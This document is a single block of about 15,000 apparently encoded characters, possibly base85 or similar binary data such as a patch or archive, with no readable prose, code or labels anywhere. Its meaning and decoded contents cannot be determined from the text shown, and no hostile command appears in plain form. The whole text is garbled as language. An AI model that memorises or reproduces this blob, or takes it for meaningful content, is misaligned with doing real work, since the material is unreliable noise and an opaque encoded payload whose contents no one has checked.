z0W>{QlIRC@SPUhHI9Rq#U#oSJ=yo}K-`V7AG5-<0e_Ok@Iu6;bRVvQ7;Dw3W-D9{< z#r2gOwhO7-Y1FE*yo)$F;x9Xz&BUOam9!lB6PW2u6y`CTB-L%k>HA*Zi!P*8DP?VY zdgzAO0%sF*jPtmx=6$JNN3}LsG`*o~`CIav?slG&_t8^a5OtP~Q816$_y!7>36-UQP6eq>Bcvc zYAb}b>)su_ow%iGP0pb5jYe!eVm3P2O27>&*%upOx76DrY(JnZE~%}xz0?Tb{OMK& zwBLNPfjbk=g)n|I++BUVu5I+CcH-!ei_2x2Mz`ddy5}>f3*Vn%BI#zeTvQdv;9stT z6u-;t6Kpr^vYWF!3Mi(I^5)+17c&@VlfM@AFEc20LwF`iuf2Z%!CbBIa*# z`E9Xm#xHlehmxNf(m$3J^C$8D2d4XPT45rh9+OOfY?RuL?)y<9B0xrPTV({ZKAEWz zk*%3RbA`;ncUrt7N?qiorP5Zd#iep>c*W%OV6|-N(YG{4aW~sIVcXaeKfOnXRA0g^ zIUv$f@fdm>iJp zrM17@veXT$h_3}&IcHgy@d5(i5-khq{<>fDTduKsFS2FixtUKn7 z>0V(9BNLW76OV#1;Kz!!`M0NeKYE(=UhCtI@?_x70FkN%dgDQQD31r+mVN_H;W8vF zZ5}mp5!d^?qByhf+*_9%XA-$w16(Ug_5p&$-l>YYU@tc`7=3V=4CM1=olvv6U0@7` z*uda12>hbdW(zq{t6wE~V9^iiP@P`>RWk?KEFe_uHIl~MeaO}=KN~y{3u1VptdcJT zgh|T-ju{9V{0nYx)fSuiDg9Y|NTI@b;6)P6>%I%~jU3z#B`gnGsVpXVTdFto!hj%H z8ms^3lex5z@w=F?IJQ?&ACdRrrjs}dAHlV=_Kw_{`zQ-Kr7pE*KefFztDJUQq*Fxj@OfDz2@HN zCV9v$Ym>E02Du0I}}N@-9JNz2NI6V z0uNEWU+ZnhVodfBcICEqFZbwak18AZJkFDm1_|{XkzniP4S(gnc3IeprhXBDR9xdT zhv{EFK}Wxyj?TY~j;L&MwVq?kdBxt0i{ivHzd%N5_b|{>^%t;WS6UR|2P_w0xjygQ zX-(4Yy$g{4Xi6U&dB75i2Y%ttm96w`4-jk@p?T_flb;v3j~XHZPb`fB-v53 z02*gOzZ;yLIX{|;(yf#g+fBH8t8^qNo6OBo2^Q+$tqOw|8j3h(EEw(4HFsxtLUSd@ zkgVHdC1#7o#}9a&npxSqI|BI&B4ix77)go%+?l8HJKeVuC`B4Qsfw&%atoNIiFgkE zV53a!IOs(kbdfLoDtsR=NllgM!4q(Uumf%_lI@riVtmbLWi6xMWI3YnryLP`fEsYo zk~XWvvZl!>hJ|X9kM;#+*6)-Mb4VrE_yUv2BB8HnAerUU`&{3GjJFZR9_yNQCWaNf z0oYy8$}b&#y1@qUiRw4wyHx%j?-Mh6Fzd3%1Cjz*Jw>F`>KsG(N&Z%(lN{W&Rpypx z_1k3Xbz_F$L4?Fo)4u@S4hXl&wE$H@eoOu&NG9usT>Q!F**<+f6p;f#<|ga!mx}y4 z?f$OqHqa7S`6&IhWvQRgr>l%Szi1!Vu}$5;E@XT1Vn|#Sj(iAAm%UDk;{6>%&^{R< zuAP3sC-eP1rK+)^DhU62aIMf$LH*%9*$;$novRAPB6)KmqSW&5ox*oFcU=NM$r3$% z-zD8GQxFLCdq{OYt5w2=3;rt`I3ioypB4ADe*djgh_V(P>HdR2BOQez)d>y(t-!wo z*LucRL{(1eftQt|uHa@+4E=VxvcUzT2{o6D6Ay=kLPJ6Y)A|V6ldAH&4A-t|7rm(5 zKR^THQ#x6O*ObiM49Rp*vECh3p7o^l+vUU>Zl<;YSLhOsJnSIfo-vwmFGsiR%5$q^ zOfqHu=3FEixdlS{XzJG`_qPN8&TjF%@(SwnkYw1Nt%GRRTUOd3JdqD*8a7%AfVWwR zi^p-1t>WhyWqCYWc^OIq$qj@yxtGZVO}58;WUeFLeTsF+cp62!9V?L;vO>GBzr1}w zaQ>L69oivCnU$N%xeXE;`rZTeAl8G~cwIAhZJyh`3_mZrgEpkUfU~U5KX>1gU@2df zz)jtSQ-_XcozPL`s}H%iz8@>sH1XmOmoD?Hvr{9Py$c^m5xNL5ANkkZCr?`lgn$4X zBvjOU>>-6!?S+5A`3Xv#6m6*gtnHUOR{c@lX5>uW2T%C+=YYo=!$|mY^L6&cdML82 z`-T#b|5PtpgluNc%aYN=x4;^=#a4-!@NNqo-xtr9(cAA0++sZzn$hn1|9VW(`}e1c z^Q{~srYqJnd^&dBg={qH-2lvbA*3DL?%Xw8B69V$^v1+S4s8}jt_j0TIz!wQB=C`# zqcrEEP`B5}BR7RTe83kd#>nkrw z+agx`CY_F;tP4%(Cb1?WQx&jMs=W=y9E4~?_oYo)`(>hA@q>V!sP`sl&FlGSN&+oI zjy%$?ekoDMGdPp-=l2xK_4<`a%}ik>a6lPCvFLY{*$)H% zq1;Dc>Ra59q{J~Mrn|~$3I@=Xgc$qt_|?!r<1%i@s5l?Z2HF*P-?PQOU)n`2IJhSi z!Cia3a=*VeuI1%O_FR&XiXJ?-0ttR=+t9egT?HW)-;jQ-q74tq9l|cS-N43gkVk9C z+zx|G3s4Rbs!tRdJQ;oQDbo1fx0+ieBR%_f7`}(m)4JR0>y3F1ZkDof@d+@JJfd*^ zK4s`-pi-SNr^e`g(D9JvdM~Nw7n0Tk2ac0#3*-SYfneCyNc!(C!4ZThdf3JkuWZ#R z#gH*0oz_QdvIJWtb65iTE6gZ*2TynwJ%)JjkC9{~7L?x^d#4m{avu_~5^5EGRq#lN z_n3ZDafPu@u0n#ajN~kE9<}qjqo`Rv>`CDaqp$&0%`anpPpV}Z`FzEV(M*ILe=ohs zJsh8g`Qrcq!iVjL0=bFsKf^XODjpH*98~wAw^RTo(HPoEHo*7>-siN#+TB-o5OtS_ zfB$8K7~egy-uya>ci@iT)Ga`*v31mz^}*ZIgu5uGGP6%GQFNNJA;vR+%GavFVN+!TzizmIKjJ zaWx{ZN6kt9Au};cjZ#NQ>8Cx)w{h8pU9WC)p3!ALEC*MEnj|!yqb=jK`e<{se!iBk zF5E^VdOOfSB1!sQ`CnS-A0C9Kq-LxsmiY}R9qil44{|kHc=YQ^S~pc2>R}t1Y^Z2N zi01ZGDb%3_Tef>-NKk9IDlE@|sC$rfhS^9f|LGu-w1a}=ID7E$kQcllwL(%E#WE1iu2 z+n=HFU;{M6;xsBsnTPE9B=t7uK zv+ec>R;x*e4{<6rHxF@+YB}lf8g$XqYHpl7bHn;%$_drkTWXJF!1EIgm$SaX7>bS` zsIA>+JbrSxW%Pzs3pj6;Zt{(1gp6sfbU%y#1`o|zf0JB$(%W)i#*8X7F4gs10#OG+HXXFq z5)>$7CUc(&T=bYy#lR16QOC$@l+^pVmGD)8vuMQc5q2L&BSXHN721sl<)TqN6pT=xJ40)d9c?G+(ovIvzoWJ|BSiPm`v?R!^~xAHhI>)w z3^Q{~V!_qkH7u%j9z2PMujK_$yac&Z#oB5|IK{ExB1eX&md!sgB2(3@cWwR9jPcCC zU0V9t-ep-Dj=mR_e@HS3^N=bhD%VbaGCgMc!{c^&5MN*E*O7g=vPUXbDw({FeE(%y z*Bz-_ZuYXDB90?v7^GXMi?b7Bv!1Sha!L700Na6O*OBehq`451C3;?rdV-v#nG&)( zNxRpVP{eoPf6EC?EggcN*V;7l`(aR66BueI@>D?WAbk>$MLR==>ui^{#I?m~>ol`M zFzO&vy$16t%6TRL^gqheM^9Q3*}qvX5T6+(c~E}p82dhHGZ|`*;Hw9w@8;tPar@?; zCbvHfQ^ZTMO2wP#R|)(@Z?ke877|qDi4HyNY|8Gk`rbrhL6;a&&?uM$XrtbSytE=GdBh!Z9L{GY!n&Z z>e#nz+7mWkKpeavuUY)#>@0Z1Dat`Z<$DUP5woaU53dUktS-LfRkO3nf?^&u@6&vr zv?oamaMjqDsZ=;Bo_l7u?t{okjb6fyS(lf8n~L79julnlTqiGwmv^zP-J@Yb;=5q^ z&hCtybS4YL4J~c)DSw;PX|&f~^E+D(9>&<>{k!TsF`1~twKw)dL^#8Y$*P7MCY8)r zlm;h}%Le8k4#aFXB@G&{AXGK!V&OD(lGr-lOLPx=i@yF>ud2b_nh8kM4(CEBXNK{x zHI0)|UuwfHJB})3?e1@rqXaG%W(gV0clG!QxRQ|NSo<3WKHaKrO)P8Rs!{gk`dg^T z&9bJyMP?lWS~{Ts#$cO{M! zlczO0GCsR@JZDkt-2Oq3Dx&+^INVXmiC`9RI`k<1@-~u=uVq0h(^jYR?R#WDTR3h?* z7HRa!rDL0B=O0(=UB_Gk*0xcdBd+UJt)#l$dOeZr)Y~Cgp}3RyWzh^rgAG^b2y2jP zRi(Bgc>9cwB+AnyIih#L?@aFTu40be-2q{+Y5IN^vDy+@UL$iQs3@Ay8D2L@=sCwk z>lZkE5se}INMbB7GFcR9S+hQaH(=2jv_+W{mk zcnqmYue}6^*M-yK^(hfj>3mm@A?Yz1zKT?efX1C|TjFv%#~&m+p1fKwdD)P@5D%VT zu;t1qpM>?>Ci{`Tlo6N90hKHN4|{JN6;&VZeS0G*4I&NF(xK9gbc%F$56#dZNH-{5 z(%mq0cSwlT(9$(@4)JX6^PKm6&spzU&;QRl^M@=)amk*&e|!I~>wA4Z9i#I21~s9S zzGInB)551KkM7!8IF!Y5@)?x>vdAd7myklNf?ZbIU+Q_Rd-U;f&eW%ITW5GE$2-pb zW$%0*2yZ>=Zhm}8BMq;N2QO4KE|FayMAV<`-6OFn^av$bD6-4W*%0kf>7B&cc4^Wp zIpen+%DXSkN>^lT7Ozpv44w-+JsH&e6==8R9aM*Puq#wg|b;MX#tNm!+-pq9^A_et16!(f_>*D(WL%vGoJ0(c8B$>~L z(TTmHFTs`d_=+YQD2Iqu>?OuKh#u?oWx$(-DK*IESz&nd3ed8&L|tn!suvoGCl6A6 zl^~!^qJgFhDeTs8izKILl8+HKJt=Gd zu$Fdlqcx7zQ@$PAdE)tL6E9uQ`xcS;02 z?AM)c47S#Y(lG~GTl>C`cGN0f%l0QA?O}f;$meA=BNpS$1xjGXB8s9MUqxlxdQ26f z>ag)BF0rM9?m9%o*$fV(ALSicsz)e_k!7}+1N9Eys~zOwy-w^w;KV|G3~)pr?e0*V zq0vb`lZ*@E1_xw|o0HyFfWxO%a2 zFNI>z5z%$fptyQqZUNmOgjcEksLpRt% z`|PPO6I^UOu8zkR-h`?LG8x7SaX}w=+Nb^=g)?MBb_~g~9a+~}EqpvKWS;#+E$s4M zIlm@1!`T5W+4tZo1)pCO*A@8VirVa36M$^->)4Q09gnS&I0^#PK8cm|-eB`I3>&fI z9QHx8JNBS~)Zr!@Si-rsM1E}G<&=RzRSGkvI4=%XHl*Md3yq9V&R>C9^+tfC>S%fj z3&9AexhYq1%>Ho zWEt+edjD-8fYme}3$Ic51Drs+o2CMo_d;!!-JIT|VNu#Qe{u+U$1422?M=!k&`dYc zk&*4X6KCWyZ_`E^ zIv#WE?Gt(8ph0>wcd#X9#iJyWet!+{UjLqJ!W{JR1feHsd#~>v#ydN0S;d7$qiPLOGQaCv!V105U zWy2S}&lk8B6i==wM}#a^R92$F#W@n8^u)S=`Sf!IIwFedtE&K< zH&xN$mIl|r3}NDScZ$q6(nE(w(;w+S3~bpDUNb75)vcaDO}b@w0h;M|B<-$i>RaIe z9G&4B;Rl9!F#(~{B_z^80Qz+YtTZD>(|`-heDZ`S2d&3H;D%J3)}j3}sr__-)V>qV zE*)L`%k`>%C+T$k?Z!3HqJcS&Uv_6+LBZTvB0wcl)P1)%qx7qDU-85GTZkC2{OJFT z=N!Dda*!V-(ra?ef%CwKq%VsRYocAGvcp;L~Jp0T>>Wm9Y=Sq7RPIM zp6)h3BXpmKz5S#-kty{KJL1!M4jN3Gi!*ukn&&0*$_|WNA)9l0f3EEN=C=T1&}}lS zF09n}D<^^Vbzptm@1{sZu@uL3Vt=*2C(w#I1?IT_%mS=9yRh3X?>jd*C#dCM9xMc- zx0-@KTrV|=Z~?F&dloz+X8qFqG9ww=Is+l^Ao66vxzQ>m=k6N7DZUs?i2M}yVJ`PM zU58Hjp21li4!N2dJl9*C2h>kULfalL3~Gt_NOslOg%#SZ<3Kz|Po4bJr`&$0Hjh)2 zt09RzyU8_Un3lqfW@#sQZ;2B&QRI>_X1<#3zp$H}v;fIOvHO&5Bg^zY0G#wrhoh)W zL8DwnDgDybh1p#xs}Gz&&c>O|6`q`ez2H+x47c ze>s(uS9u)$^nN3})Y%8OIOp;$==H`_W#rdy{_n!p`T!aps4oncZAnZ$)u{W$Q;ld? z(3*jqR`Lp%HmLg`!m{{nmKJxFIx!DBji+yoiO`v(0G}h5+|ajhCxmQ+xAcFm#V(oH zIkrW*u}U?A1t?A%?F_|V9!^K~${4cqe1>1_ZCp8t8`e)0NSYgcWaUso6<2kODpfS# z2pw??qG{$FKKBk7(SoK8Kw(@YOYhF0WPw|;$OQYS!=D=%tKH}V6iS-|AT7kKT6oxp z=ZJMTuRdK?QV4l9z3~Mw@Jd(bMg+0E2KY@DQAIQTq&#m+(gr!p0V;L)OeN|I{HCoY zDbeXCkAbsKUUkd(zizfZevuu63n2W=Sy_EpO$I`Q2R&vrN){&_y>NWf#J9zBZ0RG8 zYkIT}D{U~MY=fC@px}YY)65^>*p-x-z-FT3haBvJ2*4WzFY~brsOu#hsWjXt;W$(|TJ-$|{`#7qqTn ziRbTi&oTt!@vEMGX4eZ=JbS~$=IV}>2Y_gNm+1wkb))kP(;O_iRH#O7bZduV1PIbO zZbYof6hsUkhkjxP=y_>OWNk6at@sq*aO7zz$4z>`YrYc8yoEX|GnoSB^ZR?whd+H! z<~gyYAKcZLbgKcJaqM;}1hmvXHAk;pv*5DQ$gHcs9`jGmeReziYopiW2JfSooHsir zNK!WEU3`*?&IlH9eCB5zRSU4cxJ0eB7A}(j!4Y+S!D~zq!C!xa)dTlTZ`kpeH>?=$ zCrq(3b+qI%ahth%3{PLZK0ep4v#4ml-?xSBRO<8JB1e27>z_6ZiFt6+g2t2s#oEOwd>I7wcgopX{2|$ez&!(%Tt?d^_eV! z;f|+J73st(p=it;xGp5(Tc~?Quj~7Wc~RT19C#DT%O!(b?`wFumctP-QW$ z|HMD_4Yz!qTIydZA!=OwB#s1VK$R0yEf5Wut`#i;=;CZ~CqQQPdB}Z_4U9+Ru^BJD z^h8V&xjvK-ekFDjy0#2>74$g1mZ~bqH+`cijEu}aB@>*IdXHx|CRhJ$Ops%<#~@qS zSM^C5i5EdzP}!W8y-8YYqcGjxS>)U&AEa>77R~*KB)j(?o^{UBSGX||Ma$=nYCJT8 z+v?M2=&=EjU5MkT3^(ho(*vn~oe}O+eI$@ysN49xEdiyfr&tSv_tY%X9xSfAay?(v z+-d(1SN@(22n6vPOY|7px!{raOpu=O#9!ethuE6w%5W7Uc{_P~TO5aG)Y=jk#18TgZsBG0#uB}F(U+-d@&uC?=T zZXIFeuXk58K={(R_w%`5eaWKao#W&V;ZKv9Al)@ua7KJ z0B1`t@*s3+;eF2|Yoh-v6#cJM%=axT(@Wdqmuu!>K z_|RNJQ~1dWO31>9dfC#`T;;<;<*sM+v8_Ao{y3zNK}s-_s4A-$DI2DTdeoGB;o6~Zylu;FM2n< z5}DgyeJGbtcI}*mIIPAK7y`%{akUDae)SYuUWoCA6wt+r%_mphC1SX~wS#%J9<49H zc0?ZU7sopuUoJMl*%xmX?R9U@vC_}}5JUW?k1I*EOH78D!&Do@jjvI+HG@Ysf(P&Y zb_UA~=mM#c&RgUx&^s0nL!=4(Wiewv`-a4*hS=n%ArfTZ5$KsmmXg|&`&ZUfNQub#&>s=0rersY-#yz9$2h`7ti>x4Oj?kT;D{~{U2#lTO#2{f_3%tr z(EAw@*#!(~HS0E_!f-z!tk=FGV4`({eg^@RH+#cwLFN44^n^RlL9ryh#gR{d{E@KO zs~<8%I?j_G7&)|YtbrI72EQ^fTEV{ve=}h2i92qF zDg`AYIN?$)VO^@{62d@}ljO$1p+!wCH$|#4p*l_`U|99ZHuJ+WHi#j{$2{1!aJ|E0 zlagY#1om+tNZ@lIU}vy{MUqD(I)?|*wN%xZX%dq z-1!E<)5=dZR>v6Pqx&D+WMuog_`I6B=f}4?wB1!3&=~+ffPd*g>kg-Lq|oAbq#(Cm zPW$K$Y3JGUom*+moaS?Tu=k%$y}H_T2OT!;9Nlb?=m2yGg>&~6@NICifm5#>9*61t ztO`&rZeTq2--QZxn?jZ`s>)7M!iEB*2YH*ZB{b|8vQ&pGf7jRNt$qNhjLQM$z*&d; z?o#pfnr2pjRh=Y+M_Ff#PFbp18L$5WYucR7s>$-JxdSH$cLBWNR9cKEY8%jAh>FZhP+Yfgmh$w`FYuGU45DX=S+Yr4}t;c%_-v9DhH zPrabtJZ+ei8(|0oKz6v+Da;P?EN8ibG`j{7Z4e4Xn+lnt z)!Pat(}r{hd|%sVn-bR=eq}8w-b&xrcYj%GELqCb7tD)bINT+u*!+_3Nbqcy4+^gL z)CVrTKew{xg)*QN0mimCS`cHrTN+LfVV`V$F4-cv1Cemg7rVy4TMaZ2_xfR(85g|n zxP%Fz>kN46zES!2a6KZ6WjrD?VD`hN6CF0)49tQ zsL)@&xxXpBWhzp^C6viksJb;#q$(ZoMry~3E?XuI1#gK-o>ewQa_&0Q&@1lE@c^gg zisRV&3*kt*)RP4AaGaA53?-%s7$f^ntI(S=5De#cHtsc z1Y)3hT`%8i_yeXFw;z<3?K=+AMT^13JI8s^e%fMtRH$q3(iR>EI%rg~VyQ3Ipcb1*BiQr^s%3Uv%{^H7JxV@J7swL=iY)N_97-tL zP3zhT5qUO-vg8iUdJV8;2tEp;-Tl;1;+QztRNT)It`?coL(&Z~b3=t24@pla-;TAJ{i_N*qg9Z376m#qRh#AM zj1gOAte3)k&W0K64S@D)oR}^zU?kAf{YjH5$Bp4e!1iu1Go2De>4J~As8_^QreiG! zUpvON5{~o|mESWbeC!iWFKJAibsC>bAv!?_+z&%!S3Pe8c*F}JLi|@4=pQ6ZiA8Xr zb*wFn!M=@Tb3dukPPKqXjGSn_(dtbwZj#!e;^Pn^Zn`+^T%^c=H$uJH&7FLVuNTdk zcN3%5)N(#9pkEw#@;gz}fcQEtkwQsy9;=Sx{jpZ)4Xll)n@^maFOx8dc9U>|e3gRD z5ntm9{hw38*vYwR`Zln_JPhavIZo6mnvs)pnT6>Rmi!?Ct;&lgso)>*pJ!e6k=mp{ z?)QoqH$3pQ)=dfsNzO_c0*`Pzu`5m9L>b{Mj%bBO#uPlXas8Oei+2Np>-YM zPM0&PH;+Lp&PYauOdMhh<}6}feLG~<5+0LhGQ(3Dv1+vt_D&o`y|%FMSnll@wp}&g z6{69an?qg>NSYSUtrwcj%LqdkUpck5!20q`EkePH(Ip;;GW{*ZK;}Sb=piOPXn4;m zMuYGw8*!Xe2Vw<-3kM|#!&wT_E@T<9cA2(3c$0h&j)p5E)PlQi`KiJ_m2NSZ>fm)Z z6OmhO7W-f_`X z@2#*JY%J6sGs9h>qci8iFMW$1|Jtt8{cvfWsml>x*UB*p0{_ii)q+C=x^8o6Ezng~ za+qeS{?$GbBEs2I*>Q#JedZslb3_wc&u%$ho9@uO-0r>;Lw;Dw?DeVb&2U4R*h`oS zfgNrv=$%2fh>n8uU0KGx$_6&~R~ zI(JvWa9J)suH*b&=r~tiJXy3~Y`4s2y*IAIyk8|te_E#3ye#jvRzFO@V)U)*kKC-= zPmGxFMv-RIlbGLWP1L37km8zCKKLSD8H^s%iJN8K;k7)T@6R33?=Gx=6r#J_cubkj z3kv?FcT+Y~qA|vltPD5+cSBbXa|MK*C4P3Cf6^_}pXm%6zb=F5T>E8fHADm-h5IS$ zf9!avuG(wrYIVIk)r<7c?x#l}`l!Fd2FU1N1fyq8;wmr*lCK-=d^nc03Oyk@J_RsV z&65ZOvf@)t!q&fO=WZ2$1}I&u#i25&1J2Mi^cPM&{Ww90W%me*uJ63n-R@7w(>~g6 zGnF~v!fto6-Tz5+Tz|(u(+P(Ol&KcTi4%yUIsyZEP#{gP(LpJ}t(w|<+}_mn@8I!m z|FxwsEtFB-DBAc>ilz@N43}of`2wz&L`j~u!V%~ihhIz+*SlJ4N3`;Osa{3$TO?1n zggD-_|F4W~3$rL>>`=78^by!?y9LN>GtUg}&s7~KF@OTVmjk2@P2+k{Oi*_fQzW6> zMF=Mi(Q6V8>fJ#v@gn}CtenGQ1N=K-#7Wd}GbHHUbK=rHo7X89UFQZV54E)>Mv9bz z>rJ_48|A_4e>ku~Q9s{K45}(dUJX?z2MwlV*KaXbHc>AlVIdUUV{&t9^ET9w0Oj}Jg6THV@2K;AL_ zB!%Y>$4pL}+?T_Nk`|eHCNd`c5Dm_6hUP^wCf1!}?6cMp<;R%q0Yi=jUL)YD2%85hz7OT zT+$;7@=G}OSRDAee%)-xpk)vrl70!Hd)qc7JkVR4UrGUbZ%{u44AZqK0 zB8oa5Vv&5ijb?UcW9DY5tg!H*`v#FLDS=&v?Hmm1^`9V=J0+l)FaprUNw59fI zf|;VznuZfKnueqf6}k}AjOkg0bCPi&VRQM>eO%0qvNHlxfiS1gk!QgUEd%~|9FBYC zvUWpUp;IsO?rW0vH09wSWio(kJG(Q}0N6sc+dH!rI?y0lhn9oFpdFhzVXkF9LG@w! z&UEMROjHdvRCAfUbJ`7F4Q0sElF=Dp{3x=fV#J&C3C2Z)(y-v%=`1Qnr{R9WLJc3Z z0WVPwyCY~e=y$rq0$sAcHPGvK24$@gCB8+$-lv>yU_}}P=3xkZv-K!r{!lg;tyA-` z2=Nx$gPo_#(*%bLELfpyJtoqc?D0Cp5u)R^*bVh*iILFSY{)`$qf(<1YuS8P7NhT` zM0TpBgMwiq>|@r)&ck}!OhG$96gnS!uP@02_RW@OY6XcZzvBlJLnFow#Q8K0eH#vj%&ipJ>^zKl_=B2Xh&pyx zMZ7|F!+A%&D~7^;Ecr9?`b?>ISC3BRtOuRFsq1CtPIwSHFVz9Gp)5Vt=gmI^{8+$d zY>%mi^C*buMreAx)94PBk1k@uy!kZMHK7(`_oCo8PG;?xzi{%ca$L;XGypd|cuZ0{ zzdBlMH6LiBzZp0{WyFd3+upp}q*?@e8w|eB8RA*>nf6u2y5Bu% z2M}=6ZXMIYTFS*&5~5$P%~JRg=nP1G0mOs8OmxJ1gRgJj11i2&jw3`_)Vk^nZJzcV zS+v(2f)s@7L=hZIaaA>c+4vD&0fa^QFMRAv=kb%3yK9#4F88+=PJq;=rPGqMuU_QY zwAChO>2nQR*8fRG)J;FT3Y2)7RR}>bTVh=S=JH!CJvc0sE8ie^cNA-G!4oL zsv2^$wD}HPGPw&AjL~4w>!UDhY%Fj{ucQxD!%8dA+LRot@@s#~E@pJf6uJ}(%B(}- zcN?#u67iRG6j1NyAsT*}R@%2cUUB+Xv38MN5Z-w7!4=19A|WqV1@)!*kZRBtyiV!2 zffl|W@Ay3;iMSIY=@(1VF%5#pjj5+l`^RuYxJeBAdV@H?i28aofnV?us2W`9E4 z8P2}nerPqGaQ>^KQ;dnR12h)APg^&Ex0IFSxV+cmHWWSi_nGcKU3a4IW*ow_W89t@ zJQOQleG@@(Xh}5_G*^>|Z2$*U@@ZR2HKL~Rpe3iY^9Vz^ffik33= z_1-Q`+Yl#7w||W8yhv>}`pRnE@fDLLE;ok#dAIr{UZxTb@~BMHj}dn@-00V;S3ODE z(MPm!eQ5P6*E6>Ut)H`)P*mq?!`a*J2A}hRym!piYL)FHYM-Nd5S}n5*-P9HO%=)_ ztqtyLZ6{+8n8gpEk2oVG_z=~8F=7k5#P9_xwAZV<`!CjhbiB`WZZ`t0Ej^}w&NEGW z6N5W(1f}~Zm>6X(`+B_$$M{0bNM_RgDQi#>9Njjk()WG3l->Tpy1stcwM!0 zmugnoEVsCVAF|2trzjhYd!@X6dp>#Zr+$WcgltriR&~x|DzYVD_&+_wf|gH1E3{gd zld2Z%&y(#TRY`W$1OCVjaVsTgYzvsU1^2%Zc-;NXebKUUG{n@eClfkJG7anrpR1f26^q8^ za+{64G#I+K8_J9ipm+p}rl)Nw7;Y?nETip2$7y?+pj3LxV_;r|OIaz~i>vOa?4{$F z%Flu)KFfcMbskRAa9=7zD%*<|BEKg$m%1YkwaNLQB;FQiTRn9PCo19Q#DDWxLM>XPD6HY=wFBy zan9HlS8hMVocsdtmU{?D7;_`N*yLN~gzMteYP4{mK%i$7fCYxSyz7yE*5{dVLnnbJ z)#D_QgSUiP4@qc*E@;ufsx_m2IgC0h)&s5)rbHtYMxDhuG+p)toEpnCuaAyn1YnK< zm?A8i2$X_7#uOf6SUd+*Z+qRT&BW(}UYOAa;TCfcq8&@OTBehg z)T#(-`4e>{9=-p^1gG@0j9$hl7=&gO8}z#Fy`WTB*xuW>o0=dF5`>R-%3Z5pO5%O7 zyLCmD9u(h3y@=(}D{P!Vr^rgkUNEeV{%JxhW-l&em)HIfN2rsR+3#GF4pB^*!Jg@! zXUETqDC*Iojfb-5m^<7UegHu~RH9!gFw6|_X8jbx{X@OG8G52ci}7t3%wE5*#epDf zSJo~{X(a%3;oGUeXxMaIg7&#>Ipx|b^>D{-x}IpYcbm9aqe-UWz|I(O)|sY0DCS25 z5O;&2=!(vHA%;eupX)@gyNM<)Vuiu6S{ch7nVD__#MY%Uc zyH%gd_r@G-Yb*RRSl5fpNA%`5DG3)@snzn-4kXB43X?&5I(F6l81kHw%f=RIYa=z` zT1coV=d)~Ezq1AXf@UwP{G?P$hf(AdBlBETid6>cykjc&+{wWRkR7b-G5u@VI}lAw zf%KN>A4Mps`rt@1d-9#&10A;TS+Vc=kt(4VnWJ=eSU0o1Yf)e}4_T$?wxV;zYK z&mb#2l0pXf;UOw>ir4oz)|jrh^$we$QsbeG=JKg*_NczJs zTIX6wOUAvKZkY=GhI%Gl3rOIpnr;*_zi$3YE0v?01HodI<>{AtZJD#jrue(?pK{AE zzT_hBEF077Xaghv$IHfLA19$Q4NfoPZ%NV2^Ec8u%`X%_qqh;d|=>rwf9|>ehLzC%zAbsayWzd^=6!XEIwB zx8xF2&ySk+O%rR^IiT~*k_<_=wDO)0%f8pkmHcnI%O<(IuIUBE6W{ch@+szDQYeUI zKG=ocL-9Hps-?|2I=RQ3bADq&YLBx+};KDL7{DORz6^jkkEO^X=+fBwkF>=s=hKBOD%c6c&Xvm?BTpS zrA*Upz=-LXwD@-vof9QsW#9_s`J>I{ct2axyHI)dtNj|=rFRRF=8xlf^xWdY(fFBA z5uDXg7;x)laIg}0I}vr4>U^}Fe~B%WphGq0Vzzc)Fmcof*l2k$y+JYiS_-C3x82?s zEq8JP?TQCvd=G#$_o|7>`JH}geJd>9Zdhm59ARfg8O#5VR5bB{IFs7JNs}!utFG2+ z*ELqf;imDBvcaI|=IJ1L^7=uWvr*2GXD@=X*9NPt-##N)EfY%2e_YUmA)zWPz`aHP z2Z-tGF8DK7x%hsy@pS08jIm9gyJ-6jfMT;?LQTk@QljThg%LTNdQJzQ4Vj?7qz)}O z2VLC~c75+@^k;--8$X5e#?0hO${!{z!tWkqa@-;bzFY#a+IB1fmd=m%u7RYg0yiH0 zz2HvC^Djp&wpC6N1P3H#W`B%5v1{~OpX4xO)GJix)5tYf(y~=nl!|qsS^nOsLcHLd z2H}#x#8?#}CWB`c-W$wb?JKe~Pa7>1#D01ued2RV&Q1C=a<4FNnb{lg?HeAu%>r^; z?Y+N`3+dTBhqdh64<-#|Z|Yu|*8vfhxsFcI{5%r3=_C7WjU<6Uk>bZlw=dA#&q&@k z5d4ZAeMV5N^Q}1dS}Af8`*FZ@CDz@b16ip;7dfqKQWd;WPxv2Jej4H!rW>UJnH06s zs&a#ND5l6@CZj9#+@VcCrZCjnIPJz;94&{uq2{ky3{@&oOJpRf4^LqvI@<6nC&@d( z(m@=E+;(P|AF2XJCn`G!rW(b1ooT8AP=uad)qSi{a7lU>1iXq;7)T`IK8taro z;pK7n2U_^sY&jEb!IQ7(sGJ{)R#npAq_aq~Xpp%DZKc&Rh@_h+lXHXhG<{{KrJ>Z@ z>u37-46Im61~uG95nJdY4*d--2DO4r*evN|ELiGm5I4Sj`Z<(zo{)0_m7UA%{mc!~ z--I}JRHVO7EcL2TY4{kCz>kAlkYs<1yvZVO7qgoH6_oh~3Ze;m61CO<)0+o8Drs2}usgHeX^)AoF4{{16x$SWN2jl*oii?^|HW?(`=c z)QGubDn9rZba`?de4%dAIN3NOD9QP!QcU>jjXbZrDQ?v6O#dl5z>Sv@ue>l3;8wEQC2-Vw+@aj=ly*B)=*E2D z_DlU)A7a8d_tGB@imcFT=K2LmIM~E6WlT_bu5lop?>I?(dc$_J`q8KA)%;baKh#?} z)0lzcJD%Awd{^^oA1(s@Q8Zr9KNC^V0R!-ws-XlJ*J*`=Np+vyGZS>IS$?b@gb1}x z(ktoi71n%S=1O9B7`c^8d=;$U&xGCGm>c}qniE9DGqHc!q3>uB9hS{FEG=3#L1VZ; zGr?Y~8PZTsKbYh;@&0}^0lHdP|@2)i^$=!Z@>@M@eO> za&FnMiHda)gKx&mRZgIVa22#WeQqbSHdQai=Y1RShV2vh=TL1!P|Qbu?DwjyA@~IR zqrj|n@{c{LuQ>KMT^^2~gZCBUndIocX!vJ^epg|lJq;ry9|&i8GOJH7Pb!D>!#C?k zM8nwzGpK1sL#~vqsA=4P*TV2BWi`6!@x-MuTCa~9S6k%7mRsBwkB`Nv?tjb#q^e}p zfBqE-l)XAV`XX^IF7_BD%y1A-5hQ^AD+ECAw;DT$zz^SRHhh=n!a=3!>fwm4M-#X0 zPCP5_knCsg5f1uMd^U{ZsdhCI6Zsd#1b)dOf~MO4g)eH2Ie<>wxBfe{!PfHc>$|)W z3IZK%3I%jA=1xdAIL5Rg1M(#In(%_dEj=b&c+*Z3`|}K-`(J+1Dz7x+RgM2$6}J*=?*QxZQ?hJVz98EaFGjx 